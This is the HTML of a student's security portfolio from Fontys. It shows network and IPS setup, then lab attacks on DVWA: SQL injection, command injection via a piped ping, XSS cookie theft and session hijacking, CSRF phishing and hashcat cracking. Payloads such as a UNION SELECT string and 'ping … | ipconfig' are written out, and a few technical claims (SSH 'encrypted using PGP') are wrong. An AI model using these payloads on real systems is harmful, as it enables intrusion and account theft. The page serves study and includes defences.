aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" 